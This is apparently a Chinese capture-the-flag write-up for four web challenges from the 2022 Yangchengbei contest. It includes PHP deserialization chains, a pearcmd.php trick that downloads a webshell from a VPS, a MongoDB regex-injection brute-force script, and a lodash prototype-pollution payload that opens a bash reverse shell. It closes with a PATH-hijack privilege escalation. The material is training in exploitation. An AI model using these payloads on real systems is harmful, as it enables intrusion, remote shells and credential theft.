2022羊城杯-Web | 字数总计: 2.1k | 阅读时长: 11分钟 | 阅读量: 
羊城杯 [toc]
签到 
E:\markdown\CTF\2022比赛\0903羊城杯>ciphey -t “ZMJTPM33ZEDJXZOMTOGQRZOETN4GPMOFZV4GPAGPZD2TRBYRZRMJXAOIZR2U2===”
 
rce_me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php (empty ($_GET ["file" ])) ? highlight_file (__FILE__ ) : $file =$_GET ["file" ]; function  fliter ($var bool      $blacklist  = ["<" ,"?" ,"$" ,"[" ,"]" ,";" ,"eval" ,">" ,"@" ,"_" ,"create" ,"install" ,"pear" ];          foreach ($blacklist  as  $blackword ){            if (stristr ($var , $blackword )) return  False;     }     return  True; }   if (fliter ($_SERVER ["QUERY_STRING" ])){ include  $file ;} else { die ("Noooo0" );} 
绕过stristr:
添加回车符%0a绕过检测(记得要在回车符之前转义,不然htaccess会报错),system函数内可以拼接字符串绕过
pearcmd.php文件包含,题目过滤了create和install,但是还能用download,并且对$_SERVER["QUERY_STRING"])的过滤可以通过url编码绕过
vps上整一个1.txt
1 2 3 <?php  phpinfo ();?> 下载 ?file=/usr/local/lib/php/%70 %65 %61 %72 cmd.php&+download+http: 
文件包含成功,整一个一句话木马,放进2.txt
1 /usr/local/lib/php/%70 %65 %61 %72 cmd.php&+download+http: 
下载远程文件2.txt
蚁剑连接,虚拟终端,经典的date提权,和蓝帽杯一样
step_by_step 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php class  yang     public  $y1 ;     public  function  __construct (      {             }     public  function  __tostring (      {        ($this ->y1)();     }     public  function  hint (      {        echo  'hint杯调用' ;         include_once ('hint.php' );         if (isset ($_GET ['file' ]))         {             $file  = $_GET ['file' ];             if (preg_match ("/$hey_mean_then /is" , $file ))             {                 die ("nonono" );             }             include_once ($file );         }     } } class  cheng     public  $c1 ;     public  function  __wakeup (      {        $this ->c1->flag = 'flag' ;     }     public  function  __invoke (      {        $this ->c1->hint ();     } } class  bei     public  $b1 ;     public  $b2 ;     public  function  __set ($k1 ,$k2       {        print  $this ->b1;     }     public  function  __call ($n1 ,$n2       {        echo  $this ->b1;     } } $aaa  = new  cheng ();$bbb  = new  bei ();$ccc  = new  yang ();$ccc ->y1 = "phpinfo" ;var_dump ($ccc );$bbb ->b1 = $ccc ;$aaa ->c1 = $bbb ;echo  serialize ($aaa );?> 
直接查看phpinfo,就可得flag,离谱啊
safepop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 <?php error_reporting (E_ALL);ini_set ('display_errors' , true );highlight_file (__FILE__ );class  Fun               public  function  __construct (      {        $this ->func = [new  Test (),"getFlag" ];     }     public  function  __call ($f ,$p          call_user_func ($this ->func,$f ,$p );     }     public  function  __wakeup (         $this ->func = '' ;            die ("Don't serialize me" );     } } class  Test     public  function  getFlag (         system ("cat /flag?" );     }     public  function  __call ($f ,$p          phpinfo ();           }     public  function  __wakeup (         echo  "serialize me?" ;     } } class  A     public  $a ;     public  function  __construct (      {        $this ->a = new  Fun ();     }     public  function  __get ($p          if (preg_match ("/Test/" ,get_class ($this ->a))){                    return  "No test in Prod\n" ;         }         return  $this ->a->$p ();     } } class  B     public  $p ;     public  $a ;     public  function  __construct (      {        $this ->a = new  A ();                  $this ->p = "getFlag" ;       }     public  function  __destruct (         $p  = $this ->p;         echo  $this ->a->$p ;           } } $aaa  = new  B ();echo  serialize ([$aaa ,1 ]);$yyy  = 'O:1:"B":2:{s:1:"p";s:3:"xxx";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:9:"Funfunc";s:7:"phpinfo";}}}' ;$zzz  = 'a:2:{i:0;O:1:"B":2:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:4:"func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}i:1;i:1;}' ;
注意修改O:3:"Fun":1:为O:3:"Fun":2:来绕过wakeup
EzNode1 dirsearch扫描,/login路由有登录界面
f12查看源码,提示用户名
使用Wappalyzer,源码为nodejs
找到一个Mongodb注入,结合regx
Mongodb注入攻击 - SecPulse.COM | 安全脉搏 
HCTF2014 Writeup - SecPulse.COM | 安全脉搏 
发现了一个不一样的回显,password的第一个字母为t
根据Are You Kidding Me?结合Mongodb和regex注入攻击写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import  requestsimport  stringprint (string.printable)str  = string.ascii_lowercase+string.ascii_uppercase+string.digits+'~!@#$%^()_' result = ''  while  1 :    for  i in  str :                           data1 = "username=administrator&password[$regex]=^"  + result + i         print (data1)         headers = {'Content-Type' :'application/x-www-form-urlencoded' }         r = requests.post(url = "http://3000.endpoint-15446f1451474a1ab020eac1131fbdea.dasc.buuoj.cn:81/login" ,headers=headers,data = data1)         print (len (r.text))         if  r"Kidding"  in  r.text:                          print (result + i)             result = result + i 
回显
1 2 administrator tHe_pAsSw0rd_thAt_y0u_NeVer_Kn0w 
然后输入密码,登录
/source查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 var  express = require ('express' );var  mongoose = require ('mongoose' );var  bodyParser = require ('body-parser' );var  fs = require ('fs' );var  lodash = require ('lodash' );var  session = require ('express-session' );var  randomize = require ('randomatic' );mongoose.connect ('mongodb://localhost/ctf' , { useNewUrlParser : true  }); ...... app.set ('views' , './views' ); app.set ('view engine' , 'ejs' ); app.use ('/static' , express.static ('static' )); ...... app.get ('/' , (req, res, next ) =>  {     if (req.session .admin  === undefined  || req.session .admin  === null ) {         res.redirect ('/login' );     } else  {         res.redirect ('/home' );     } }) app.all ('/login' , function (req, res ) { 	 	...... 	 }); app.all ('/home' , function (req, res ) {     if (!req.session .admin ) {         return  res.redirect ('/' );     }     if (req.session .data  !== undefined  && req.session .data  !== null ) {         res.render ('home.ejs' , {             real_name : req.session .data .realname ,             age : req.session .data .age          });     }  else  {         res.render ('home.ejs' , {             real_name : 'Undefined' ,             age : 'Undefined'          });     } }); app.all ('/update' , (req, res ) =>  {     if (!req.session .admin ) {         return  res.redirect ('/' );     }       if  (req.method  == 'GET' ) {         res.render ('update.ejs' );     }     let  data = req.session .data  || {realname : '' , age : '' }     if  (req.method  == 'POST' ) {         data = lodash.merge (data, req.body );         req.session .data  = data;         if (req.session .data .realname ) {         	  res.redirect ('/home' );         }     } }) var  server = app.listen (3000 , '0.0.0.0' , function  (    var  host = server.address ().address ;     var  port = server.address ().port ;     console .log ("listening on http://%s:%s" , host, port); }); 
lodash.merge原型链污染
找一个payload
lodash原型链污染 – View of Thai 
1 2 3 4 administrator tHe_pAsSw0rd_thAt_y0u_NeVer_Kn0w { "__proto__" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/7002 0>&1\"');var __tmp2" } } 
使用postman发包,进行原型链污染
提权
1 2 find / -perm -u=s -type f 2 >/dev/null  /home/bunny 
发现/home/bunny
根据/home/bunny的回显,推测是用了id命令,想办法替换id命令
但是无论是替换,还是删除,权限都不够
后来发现,可以使用export来设置PATH的环境变量,将PATH设置为tmp目录
执行id命令的时候,会优先到tmp目录寻找并执行命令
在tmp目录下构造恶意的id命令
1 2 echo  "/bin/sh"  > /tmp/idchmod  777 /tmp/id
然后执行/home/bunny